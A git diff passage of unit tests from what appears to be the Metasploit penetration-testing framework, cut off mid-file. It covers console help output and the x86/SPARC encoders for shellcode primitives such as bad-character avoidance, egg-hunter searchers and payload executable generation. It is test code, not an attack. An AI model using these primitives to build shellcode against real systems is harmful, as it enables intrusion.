message" do + db.cmd_db_import "-h" + @output.should =~ [ + "Usage: db_import <filename> [file2...]", + "Filenames can be globs like *.xml, or **/*.xml which will search recursively", + "Currently supported file types include:", + " Acunetix", + " Amap Log", + " Amap Log -m", + " Appscan", + " Burp Session XML", + " CI", + " Foundstone", + " FusionVM XML", + " IP Address List", + " IP360 ASPL", + " IP360 XML v3", + " Libpcap Packet Capture", + " Metasploit PWDump Export", + " Metasploit XML", + " Metasploit Zip Export", + " Microsoft Baseline Security Analyzer", + " NeXpose Simple XML", + " NeXpose XML Report", + " Nessus NBE Report", + " Nessus XML (v1)", + " Nessus XML (v2)", + " NetSparker XML", + " Nikto XML", + " Nmap XML", + " OpenVAS Report", + " OpenVAS XML", + " Outpost24 XML", + " Qualys Asset XML", + " Qualys Scan XML", + " Retina XML", + " Spiceworks CSV Export", + " Wapiti XML" + ] + end + end + end + + describe "#cmd_hosts" do + describe "-h" do + it "should show a help message" do + db.cmd_hosts "-h" + @output.should =~ [ + "Usage: hosts [ options ] [addr1 addr2 ...]", + "OPTIONS:", + " -a,--add Add the hosts instead of searching", + " -d,--delete Delete the hosts instead of searching", + " -c <col1,col2> Only show the given columns (see list below)", + " -h,--help Show this help information", + " -u,--up Only show hosts which are up", + " -o <file> Send output to a file in csv format", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Search string to filter by", + "Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" + ] + end + end + end + + describe "#cmd_loot" do + describe "-h" do + it "should show a help message" do + db.cmd_loot "-h" + @output.should =~ [ + "Usage: loot <options>", + " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]", + " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", + " Del: loot -d [addr1 addr2 ...]", + " -a,--add Add loot to the list of addresses, instead of listing", + " -d,--delete Delete *all* loot matching host and type", + " -f,--file File with contents of the loot to add", + " -i,--info Info of the loot to add", + " -t <type1,type2> Search for a list of types", + " -h,--help Show this help information", + " -S,--search Search string to filter by" + ] + end + end + + end + + describe "#cmd_notes" do + describe "-h" do + it "should show a help message" do + db.cmd_notes "-h" + @output.should =~ [ + "Usage: notes [-h] [-t <type1,type2>] [-n <data string>] [-a] [addr range]", + " -a,--add Add a note to the list of addresses, instead of listing", + " -d,--delete Delete the hosts instead of searching", + " -n,--note <data> Set the data for a new note (only with -a)", + " -t <type1,type2> Search for a list of types", + " -h,--help Show this help information", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Regular expression to match for search", + " --sort <field1,field2> Fields to sort by (case sensitive)", + "Examples:", + " notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41", + " notes -t smb.fingerprint 10.1.1.34 10.1.20.41", + " notes -S 'nmap.nse.(http|rtsp)' --sort type,output" + ] + + end + end + + end + + describe "#cmd_services" do + describe "-h" do + it "should show a help message" do + db.cmd_services "-h" + @output.should =~ [ + "Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]", + " -a,--add Add the services instead of searching", + " -d,--delete Delete the services instead of searching", + " -c <col1,col2> Only show the given columns", + " -h,--help Show this help information", + " -s <name1,name2> Search for a list of service names", + " -p <port1,port2> Search for a list of ports", + " -r <protocol> Only show [tcp|udp] services", + " -u,--up Only show services which are up", + " -o <file> Send output to a file in csv format", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Search string to filter by", + "Available columns: created_at, info, name, port, proto, state, updated_at" + ] + end + end + describe "-p" do + before(:each) do + host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") + FactoryGirl.create(:mdm_service, :host => host, :port => 1024, name: 'Service1', proto: 'udp') + FactoryGirl.create(:mdm_service, :host => host, :port => 1025, name: 'Service2', proto: 'tcp') + FactoryGirl.create(:mdm_service, :host => host, :port => 1026, name: 'Service3', proto: 'udp') + end + it "should list services that are on a given port" do + db.cmd_services "-p", "1024,1025" + @output.should =~ [ + "Services", + "========", + "", + "host port proto name state info", + "---- ---- ----- ---- ----- ----", + "192.168.0.1 1024 udp Service1 open ", + "192.168.0.1 1025 tcp Service2 open " + ] + end + end + describe "-np" do + before(:each) do + host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") + FactoryGirl.create(:mdm_service, :host => host, :port => 1024) + FactoryGirl.create(:mdm_service, :host => host, :port => 1025) + FactoryGirl.create(:mdm_service, :host => host, :port => 1026) + end + it "should list services that are not on a given port" do + skip { + db.cmd_services "-np", "1024" + + @output.should =~ [ + "Services", + "========", + "", + "host port proto name state info", + "---- ---- ----- ---- ----- ----", + "192.168.0.1 1025 snmp open ", + "192.168.0.1 1026 snmp open " + ] + } + end + end + end + + describe "#cmd_vulns" do + describe "-h" do + it "should show a help message" do + db.cmd_vulns "-h" + @output.should =~ [ + "Print all vulnerabilities in the database", + "Usage: vulns [addr range]", + " -h,--help Show this help information", + " -p,--port <portspec> List vulns matching this port spec", + " -s <svc names> List vulns matching these service names", + " -S,--search Search string to filter by", + " -i,--info Display Vuln Info", + "Examples:", + " vulns -p 1-65536 # only vulns with associated services", + " vulns -p 1-65536 -s http # identified as http on any port" + ] + end + end + + end + + describe "#cmd_workspace" do + describe "-h" do + it "should show a help message" do + db.cmd_workspace "-h" + @output.should =~ [ + "Usage:", + " workspace List workspaces", + " workspace [name] Switch workspace", + " workspace -a [name] ... Add workspace(s)", + " workspace -d [name] ... Delete workspace(s)", + " workspace -r <old> <new> Rename workspace", + " workspace -h Show this help information" + ] + end + end + end +end diff --git a/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb similarity index 100% rename from spec/lib/msf/ui/command_dispatcher/exploit_spec.rb rename to spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb diff --git a/spec/lib/msf/util/exe_spec.rb b/spec/lib/msf/util/exe_spec.rb deleted file mode 100644 index 5c7a4f7038..0000000000 --- a/spec/lib/msf/util/exe_spec.rb +++ /dev/null @@ -1,80 +0,0 @@ -# -*- coding:binary -*- - -require 'msf/core' -require 'msf/base/simple' -require 'spec_helper' - -require 'support/shared/contexts/msf/util/exe' - -describe Msf::Util::EXE do - - subject do - described_class - end - - $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_NOP ], - 'DisableDatabase' => true - ) - - describe '.win32_rwx_exec' do - it "should contain the shellcode" do - bin = subject.win32_rwx_exec("asdfjklASDFJKL") - bin.should include("asdfjklASDFJKL") - end - end - - describe '.to_executable_fmt' do - it "should output nil when given a bogus format" do - bin = subject.to_executable_fmt($framework, "", "", "", "does not exist", {}) - - bin.should == nil - end - - include_context 'Msf::Util::Exe' - - @platform_format_map.each do |plat, formats| - context "with platform=#{plat}" do - let(:platform) do - Msf::Module::PlatformList.transform(plat) - end - - it "should output nil when given bogus format" do - bin = subject.to_executable_fmt($framework, formats.first[:arch], platform, "\xcc", "asdf", {}) - bin.should == nil - end - it "should output nil when given bogus arch" do - bin = subject.to_executable_fmt($framework, "asdf", platform, "\xcc", formats.first[:format], {}) - bin.should == nil - end - [ ARCH_X86, ARCH_X64, ARCH_X86_64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE ].each do |arch| - it "returns nil when given bogus format for arch=#{arch}" do - bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", "asdf", {}) - end - end - - formats.each do |format_hash| - fmt = format_hash[:format] - arch = format_hash[:arch] - - if format_hash[:pending] - pending "returns an executable when given arch=#{arch}, fmt=#{fmt}" - next - end - - it "returns an executable when given arch=#{arch}, fmt=#{fmt}" do - bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", fmt, {}) - bin.should be_a String - - verify_bin_fingerprint(format_hash, bin) - end - - end - - end - end - - end - -end - diff --git a/spec/lib/rex/arch/sparc_spec.rb b/spec/lib/rex/arch/sparc_spec.rb new file mode 100644 index 0000000000..ed0c5b7721 --- /dev/null +++ b/spec/lib/rex/arch/sparc_spec.rb @@ -0,0 +1,153 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/arch/sparc' + +describe Rex::Arch::Sparc do + + describe ".sethi" do + subject { described_class.sethi(constant, dst) } + + let(:constant) { 0 } + + context "when valid dst register" do + let(:dst) { 'g3' } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns a 4 bytes length String" do + expect(subject.length).to eq(4) + end + + it "encodes a valid sethi instruction" do + is_expected.to eq("\x07\x00\x00\x00") + end + end + + context "when invalid dst register" do + let(:dst) { 'error' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".ori" do + subject { described_class.ori(src, constant, dst) } + + let(:constant) { 0 } + + context "when valid registers" do + let(:src) { 'g5' } + let(:dst) { 'g3' } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns a 4 bytes length String" do + expect(subject.length).to eq(4) + end + + it "encodes a valid ori instruction" do + is_expected.to eq("\x86\x11\x60\x00") + end + end + + context "when invalid src register" do + let(:src) { 'invalid' } + let(:dst) { 'g3' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + + context "when invalid dst register" do + let(:src) { 'g5' } + let(:dst) { 'invalid' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".set" do + subject { described_class.set(constant, dst) } + + context "when invalid dst register" do + let(:constant) { 0 } + let(:dst) { 'error' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + + context "when constant <= 4095 and constant >= 0" do + let(:constant) { 0 } + let(:dst) { 'g3' } + + it "uses ori instruction" do + expect(described_class).to receive(:ori).and_call_original + is_expected.to eq("\x86\x10\x20\x00") + end + end + + context "when constant & 0x3ff != 0" do + let(:constant) { 0x1001 } + let(:dst) { 'g3' } + + it "uses set dword instruction" do + expect(described_class).to receive(:set_dword).and_call_original + is_expected.to eq("\x07\x00\x00\x04\x86\x10\xe0\x01") + end + end + + context "when other constant" do + let(:constant) { 0x1c00 } + let(:dst) { 'g3' } + + it "uses sethi instruction" do + expect(described_class).to receive(:sethi).and_call_original + is_expected.to eq("\x07\x00\x00\x07") + end + end + end + + describe ".set_dword" do + subject { described_class.set_dword(constant, dst) } + + let(:constant) { 0x1001 } + + context "when valid dst register" do + let(:dst) { 'g3' } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns a 8 bytes length String" do + expect(subject.length).to eq(8) + end + + it "encodes a valid sequence of sethi and ori instructions" do + is_expected.to eq("\x07\x00\x00\x04\x86\x10\xe0\x01") + end + end + + context "when invalid dst register" do + let(:dst) { 'error' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + +end diff --git a/spec/lib/rex/arch/x86_spec.rb b/spec/lib/rex/arch/x86_spec.rb new file mode 100644 index 0000000000..8596caa862 --- /dev/null +++ b/spec/lib/rex/arch/x86_spec.rb @@ -0,0 +1,1016 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/arch/x86' + +describe Rex::Arch::X86 do + + describe ".reg_number" do + subject { described_class.reg_number(register) } + + context "when valid argument" do + context "in upcase" do + let(:register) { "EAX" } + it { is_expected.to eq(Rex::Arch::X86::EAX) } + end + + context "in downcase" do + let(:register) { "esi" } + it { is_expected.to eq(Rex::Arch::X86::ESI) } + end + end + + context "when invalid argument" do + let(:register) { "non_existent" } + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".pack_word" do + subject { described_class.pack_word(num) } + let(:num) { 0x4142 } + + it "packs as unsigned 16 little endian " do + is_expected.to eq("BA") + end + + context "when arguments longer than 16-bit unsigned" do + let(:num) { 0x41414242 } + it "truncates" do + is_expected.to eq("BB") + end + end + end + + + describe ".pack_dword" do + subject { described_class.pack_dword(num) } + let(:num) { 0x41424344 } + + it "packs as unsigned 32 little endian " do + is_expected.to eq("DCBA") + end + + context "when arguments longer than 32-bit unsigned" do + let(:num) { 0x4142424242 } + it "truncates" do + is_expected.to eq("BBBB") + end + end + end + + describe ".pack_lsb" do + subject { described_class.pack_lsb(num) } + let(:num) { 0x41424344 } + + it "returns the least significant byte of a packed dword" do + is_expected.to eq("D") + end + end + + describe "._check_reg" do + context "when single argument" do + context "is valid" do + it { expect(described_class._check_reg(Rex::Arch::X86::EDI)).to be_nil } + end + + context "is invalid" do + it { expect { described_class._check_reg(0xfffffff) }.to raise_error(Rex::ArgumentError) } + end + end + + context "when several arguments" do + context "are valid" do + it { expect(described_class._check_reg(Rex::Arch::X86::EDI, Rex::Arch::X86::ESI)).to be_nil } + end + + context "include an invalid one" do + it { expect { described_class._check_reg(Rex::Arch::X86::EDI, 0xfffffff) }.to raise_error(Rex::ArgumentError) } + end + end + end + + describe "._check_badchars" do + subject { described_class._check_badchars("Test", badchars) } + + context "when data contains badchars" do + let(:badchars) { "sac" } + + it "raises an error" do + expect { subject }.to raise_error(Rex::RuntimeError) + end + end + + context "when data doesn't contain badhars" do + let(:badchars) { "dac" } + it { is_expected.to eq("Test") } + end + end + + describe ".fpu_instructions" do + subject { described_class.fpu_instructions } + + it "returns an Array" do + is_expected.to be_an(Array) + end + + it "includes valid FPU instructions" do + is_expected.to include("\xd9\xd0") + is_expected.to include("\xda\xc0") + end + end + + describe ".jmp_reg" do + subject { described_class.jmp_reg(reg) } + + context "when valid register" do + let(:reg) { "eax" } + it { is_expected.to eq("\xFF\xE0") } + end + + context "when invalid register" do + let(:reg) { "non_existent"} + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".rel_number" do + + context "when no delta argument" do + subject { described_class.rel_number(num) } + + context "num argument starts with $+" do + let(:num) { "$+20" } + it { is_expected.to eq(20)} + end + + context "num argument is $+" do + let(:num) { "$+" } + it { is_expected.to eq(0)} + end + + context "num argument starts with $-" do + let(:num) { "$-20" } + it { is_expected.to eq(-20)} + end + + context "num argument is $-" do + let(:num) { "$-" } + it { is_expected.to eq(0)} + end + + context "num argument starts with 0x" do + let(:num) { "0x20" } + it { is_expected.to eq(32)} + end + + context "num argument is 0x" do + let(:num) { "0x" } + it { is_expected.to eq(0)} + end + + context "num argument is other string" do + let(:num) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + + context "num argument is a number" do + let(:num) { 20 } + it { is_expected.to eq(20) } + end + end + + context "when there is delta argument" do + subject { described_class.rel_number(num, delta) } + let(:delta) { 20 } + + context "num argument starts with $+" do + let(:num) { "$+20" } + it { is_expected.to eq(40)} + end + + context "num argument is $+" do + let(:num) { "$+" } + it { is_expected.to eq(20)} + end + + context "num argument starts with $-" do + let(:num) { "$-20" } + it { is_expected.to eq(0)} + end + + context "num argument is $-" do + let(:num) { "$-" } + it { is_expected.to eq(20)} + end + + context "num argument starts with 0x" do + let(:num) { "0x20" } + it { is_expected.to eq(52)} + end + + context "num argument is 0x" do + let(:num) { "0x" } + it { is_expected.to eq(20)} + end + + context "num argument is other string" do + let(:num) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + + context "num argument is a number" do + let(:num) { 20 } + it { is_expected.to eq(20) } + end + end + end + + describe ".loop" do + subject { described_class.loop(offset) } + + context "offset argument is number" do + context "1" do + let(:offset) { 1 } + it { is_expected.to eq("\xE2\x01") } + end + + context "255" do + let(:offset) { 255 } + it { is_expected.to eq("\xE2\xFF") } + end + + context "within half-word range" do + let(:offset) { 65534 } + it "truncates offset" do + is_expected.to eq("\xE2\xFE") + end + end + end + + context "offset argument is string" do + context "starting with $+" do + let(:offset) { "$+20" } + it { is_expected.to eq("\xe2\x12") } + end + + context "$+" do + let(:offset) { "$+" } + it { is_expected.to eq("\xe2\xfe") } + end + + context "starting with $-" do + let(:offset) { "$-20" } + it { is_expected.to eq("\xe2\xea") } + end + + context "$-" do + let(:offset) { "$-" } + it { is_expected.to eq("\xe2\xfe") } + end + + context "starting with 0x" do + let(:offset) { "0x20" } + it { is_expected.to eq("\xe2\x1e") } + end + + context "0x" do + let(:offset) { "0x" } + it { is_expected.to eq("\xe2\xfe") } + end + + context "0x41ff" do + let(:offset) { "0x41ff" } + it "truncates offset" do + is_expected.to eq("\xe2\xfd") + end + end + + context "starting in another way" do + let(:offset) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".jmp" do + subject { described_class.jmp(addr) } + + context "addr is number" do + let(:addr) { 0x41424344 } + it { is_expected.to eq("\xE9\x44\x43\x42\x41") } + end + + context "addr is string" do + context "starting with $+" do + let(:addr) { "$+200" } + it { is_expected.to eq("\xe9\xc8\x00\x00\x00") } + end + + context "$+" do + let(:addr) { "$+" } + it { is_expected.to eq("\xe9\x00\x00\x00\x00") } + end + + context "starting with $-" do + let(:addr) { "$-20" } + it { is_expected.to eq("\xe9\xec\xff\xff\xff") } + end + + context "$-" do + let(:addr) { "$-" } + it { is_expected.to eq("\xe9\x00\x00\x00\x00") } + end + + context "starting with 0x" do + let(:addr) { "0x41424344" } + it { is_expected.to eq("\xe9\x44\x43\x42\x41") } + end + + context "0x" do + let(:addr) { "0x" } + it { is_expected.to eq("\xe9\x00\x00\x00\x00") } + end + + context "starting in another way" do + let(:addr) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".dword_adjust" do + + context "when one byte string is sent as dword" do + subject { described_class.dword_adjust(dword) } + let(:dword) { "\xff"} + + it "raises error" do + expect { subject }.to raise_error(NoMethodError) + end + end + + context "when amount argument isn't set" do + subject { described_class.dword_adjust(dword) } + let(:dword) { "\xff\xff\xff\xff"} + + it "returns the same dword packed" do + is_expected.to eq("\xff\xff\xff\xff") + end + end + + context "when amount argument is set" do + subject { described_class.dword_adjust(dword, amount) } + + context "and doesn't overflow" do + let(:dword) { "\x41\x42\x43\x44" } + let(:amount) { 2 } + + it "returns the incremented dword packed" do + is_expected.to eq("\x43\x42\x43\x44") + end + end + + context "and overflows" do + let(:dword) { "\xff\xff\xff\xff" } + let(:amount) { 1 } + + it "truncates" do + is_expected.to eq("\x00\x00\x00\x00") + end + end + end + end + + describe ".searcher" do + subject { described_class.searcher(tag) } + + context "when tag is between '\\x00\\x00\\x00\\x00' and '\\xff\\xff\\xff\\xff'" do + let(:signature) do + "\x39\x37\x75\xfb\x46" + end + + let(:tag) do + [0x41424344].pack("V") + end + + it "returns the searcher routine" do + is_expected.to include(signature) + end + end + + context "when tag is '\\x00\\x00\\x00\\x00'" do + let(:tag) do + [0x00000000].pack("V") + end + + let(:signature) do + "\xbe\xff\xff\xff\xff" + end + + it "initializes an underflowed esi" do + is_expected.to include(signature) + end + end + end + + describe ".push_dword" do + subject { described_class.push_dword(val) } + let(:val) { 0x41424344 } + it "returns a push dword instruction" do + is_expected.to eq("\x68\x44\x43\x42\x41") + end + end + + describe ".copy_to_stack" do + subject { described_class.copy_to_stack(len) } + + context "when len argument is four byte aligned" do + let(:len) { 4 } + it "returns 'copy_to_stack' snippet" do + is_expected.to include("\xeb\x0f\x68\x04\x00\x00\x00") + end + end + + context "when len argument isn't four byte aligned" do + let(:len) { 3 } + it "returns snippet with len aligned" do + is_expected.to include("\xeb\x0f\x68\x04\x00\x00\x00") + end + end + end + + describe ".jmp_short" do + subject { described_class.jmp_short(addr) } + + context "when addr is number" do + context "one byte length" do + let(:addr) { 0x00 } + it "returns the jmp instr to the addr" do + is_expected.to eq("\xeb\x00") + end + end + + context "> one byte length" do + let(:addr) { 0x4142 } + it "returns the jmp instr to the addr truncated" do + is_expected.to eq("\xeb\x42") + end + end + end + + context "when addr is string" do + context "starting with $+" do + let(:addr) { "$+4" } + it { is_expected.to eq("\xeb\x2") } + end + + context "$+" do + let(:addr) { "$+" } + it { is_expected.to eq("\xeb\xfe") } + end + + context "starting with $-" do + let(:addr) { "$-2" } + it { is_expected.to eq("\xeb\xfc") } + end + + context "$-" do + let(:addr) { "$-" } + it { is_expected.to eq("\xeb\xfe") } + end + + context "starting with 0x" do + let(:addr) { "0x41" } + it { is_expected.to eq("\xeb\x3f") } + end + + context "0x" do + let(:addr) { "0x" } + it { is_expected.to eq("\xeb\xfe") } + end + + context "with a two bytes number" do + let(:addr) { "0x4142" } + it "truncates" do + is_expected.to eq("\xeb\x40") + end + end + + context "starting in another way" do + let(:addr) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".call" do + subject { described_class.call(addr) } + + context "addr is number" do + let(:addr) { 0x41424344 } + it { is_expected.to eq("\xE8\x44\x43\x42\x41") } + end + + context "addr is string" do + context "starting with $+" do + let(:addr) { "$+200" } + it { is_expected.to eq("\xe8\xc3\x00\x00\x00") } + end + + context "$+" do + let(:addr) { "$+" } + it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } + end + + context "starting with $-" do + let(:addr) { "$-20" } + it { is_expected.to eq("\xe8\xe7\xff\xff\xff") } + end + + context "$-" do + let(:addr) { "$-" } + it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } + end + + context "starting with 0x" do + let(:addr) { "0x41424344" } + it { is_expected.to eq("\xe8\x3f\x43\x42\x41") } + end + + context "0x" do + let(:addr) { "0x" } + it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } + end + + context "starting in another way" do + let(:addr) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".reg_name32" do + subject { described_class.reg_name32(num) } + + context "when reg id is valid" do + let(:num) { rand(7) } + it { is_expected.to be_an(String) } + end + + context "when reg id isn't valid" do + let(:num) { 29 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + end + + describe ".encode_effective" do + subject { described_class.encode_effective(shift, reg) } + + let(:shift) { 0 } + let(:reg) { Rex::Arch::X86::ECX } + + it "encodes the effective value for a register" do + is_expected.to eq(0xc0 | (shift << 3) | reg) + end + end + + describe ".encode_modrm" do + subject { described_class.encode_modrm(dst, src) } + + context "when dst is an invalid register" do + let(:dst) { 31337 } + let(:src) { Rex::Arch::X86::ECX } + it { expect { subject }.to raise_error(ArgumentError) } + end + + context "when src is an invalid register" do + let(:dst) { Rex::Arch::X86::ECX } + let(:src) { 31337 } + it { expect { subject }.to raise_error(ArgumentError) } + end + + context "when dst and src are valid registers" do + let(:dst) { Rex::Arch::X86::ECX } + let(:src) { Rex::Arch::X86::EAX } + it "generates the mod r/m character" do + is_expected.to eq((0xc8).chr) + end + end + end + + describe ".push_byte" do + subject { described_class.push_byte(byte) } + + context "when byte is out of range" do + let(:byte) { 0x100 } + it { expect { subject }.to raise_error(::ArgumentError) } + end + + context "when byte is in range" do + let(:byte) { 127 } + it "generates correct instruction" do + is_expected.to eq("\x6a\x7f") + end + end + end + + describe ".push_word" do + subject { described_class.push_word(val) } + + context "when val is a word" do + let(:val) { 0x4142 } + it "generates push instruction" do + is_expected.to eq("\x66\x68\x42\x41") + end + end + + context "when val is bigger than word" do + let(:val) { 0x41424344 } + it "generates push instruction with val truncated" do + is_expected.to eq("\x66\x68\x44\x43") + end + end + end + + describe ".push_dword" do + subject { described_class.push_dword(val) } + + context "when val is a dword" do + let(:val) { 0x41424344 } + it "generates push instruction" do + is_expected.to eq("\x68\x44\x43\x42\x41") + end + end + + context "when val is bigger than dword" do + let(:val) { 0x100000000 } + it "generates push instruction with val truncated" do + is_expected.to eq("\x68\x00\x00\x00\x00") + end + end + end + + describe ".pop_dword" do + subject { described_class.pop_dword(reg) } + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "reg is valid" do + let(:reg) { Rex::Arch::X86::ECX } + it "generates pop instruction" do + is_expected.to eq("\x59") + end + end + end + + describe ".clear" do + subject { described_class.clear(reg, badchars) } + let(:reg) { Rex::Arch::X86::ECX } + let(:badchars) { '' } + + it "returns a clear instruction" do + expect(subject).to be_an(String) + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when too many badchars" do + let(:badchars) { (0x00..0xff).to_a.pack("C*") } + it "raises an error" do + expect { subject }.to raise_error(RuntimeError) + end + end + end + + + describe ".mov_byte" do + subject { described_class.mov_byte(reg, val) } + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 3 } + + it "generates a mov instruction" do + is_expected.to eq("\xb1\x03") + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is out of range" do + let(:val) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(RangeError) + end + end + end + + describe ".mov_word" do + subject { described_class.mov_word(reg, val) } + + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 0x4142 } + + it "generates a mov instruction" do + is_expected.to eq("\x66\xb9\x42\x41") + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is out of range" do + let(:val) { 0x41424344 } + it "raises an error" do + expect { subject }.to raise_error(RangeError) + end + end + end + + + describe ".mov_dword" do + subject { described_class.mov_dword(reg, val) } + + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 0x41424344 } + it "generates a mov instruction" do + is_expected.to eq("\xb9\x44\x43\x42\x41") + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is out of range" do + let(:val) { 0x100000000 } + it "truncates value" do + is_expected.to eq("\xb9\x00\x00\x00\x00") + end + end + end + + describe ".set" do + subject { described_class.set(reg, val, badchars) } + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:val) { 100 } + let(:badchars) { '' } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 0 } + + context "when no badchars" do + let(:badchars) { '' } + it "uses xor/sub instructions" do + expect(subject.length).to eq(2) + end + end + + context "when xor/sub opcodes are badchars" do + let(:badchars) { "\x29\x2b\x31\x33" } + + it "uses push byte/pop instructions" do + expect(subject.length).to eq(3) + end + end + + context "when xor/sub/push byte opcodes are badchars" do + let(:badchars) { "\x29\x2b\x31\x33\x6a" } + + it "uses mov dword instruction" do + expect(subject.length).to eq(5) + end + end + + context "when xor/sub/push byte/mov dword opcodes are badchars" do + let(:badchars) { "\x29\x2b\x31\x33\x6a\xb9" } + + it "uses push dword / pop instructions" do + expect(subject.length).to eq(6) + end + end + + context "when xor/sub/push byte/mov dword opcodes/push dword are badchars" do + let(:badchars) { "\x29\x2b\x31\x33\x6a\xb9\x68" } + + it "uses clear / mov word instructions" do + expect { subject.length }.to raise_error(RuntimeError) + end + end + end + + context "when val isn't 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 75 } + + context "when no badchars" do + let(:badchars) { '' } + it "uses push byte/pop instructions" do + expect(subject.length).to eq(3) + end + end + + context "when push byte opcodes are badchars" do + let(:badchars) { "\x6a" } + + it "uses clear/mov byte instruction" do + expect(subject.length).to eq(4) + end + end + + context "when push byte/mov byte opcodes are badchars" do + let(:badchars) { "\x6a\xb1" } + + it "uses mov dword instruction" do + expect(subject.length).to eq(5) + end + end + + context "when push byte/mov byte/mov dword opcodes are badchars" do + let(:badchars) { "\x6a\xb1\xb9" } + + it "it uses push dword/pop dst instructions" do + expect(subject.length).to eq(6) + end + end + + context "when push byte/mov byte/mov dword/push dword opcodes are badchars" do + let(:badchars) { "\x6a\xb1\xb9\x68" } + + it "raises an error" do + expect { subject.length }.to raise_error(RuntimeError) + end + end + end + end + + describe ".sub" do + subject { described_class.sub(val, reg) } + + context "when reg is valid" do + let(:reg) { Rex::Arch::X86::ECX } + + context "when val is one byte" do + let(:val) { 0x08 } + it { is_expected.to include("\x83") } + end + + context "when val is bigger than one byte" do + let(:val) { 0x4142 } + it { is_expected.to include("\x81") } + end + + context "when there are too many badchars" do + subject(:with_badchars) { described_class.sub(val, reg, badchars) } + let(:val) { 0x08 } + let(:reg) { Rex::Arch::X86::ECX } + let(:badchars) { "\x81\x83" } + it { expect(with_badchars).to be_nil } + end + end + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:val) { 0x7 } + it { expect {subject}.to raise_error } + end + + end + + describe ".add" do + subject { described_class.add(val, reg) } + + context "when reg is valid" do + let(:reg) { Rex::Arch::X86::ECX } + + context "when val is one byte" do + let(:val) { 0x08 } + it { is_expected.to include("\x83") } + end + + context "when val is bigger than one byte" do + let(:val) { 0x4142 } + it { is_expected.to include("\x81") } + end + + context "when there are too many badchars" do + subject(:with_badchars) { described_class.add(val, reg, badchars) } + let(:val) { 0x08 } + let(:reg) { Rex::Arch::X86::ECX } + let(:badchars) { "\x81\x83" } + it { expect(with_badchars).to be_nil } + end + end + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:val) { 0x7 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + end + + describe ".adjust_reg" do + subject { described_class.adjust_reg(reg, adjustment) } + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:adjustment) { 0x8 } + + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when adjustment is > 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:adjustment) { 0x8 } + + it { is_expected.to include("\x81") } + it { expect(subject.length).to eq(8) } + end + + context "when adjusmtent is <= 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:adjustment) { 0 } + + it { is_expected.to include("\x81") } + it { expect(subject.length).to eq(6) } + end + end + + describe ".geteip_fpu" do + subject { described_class.geteip_fpu(badchars) } + + context "when no badchars" do + let(:badchars) { '' } + + it "returns 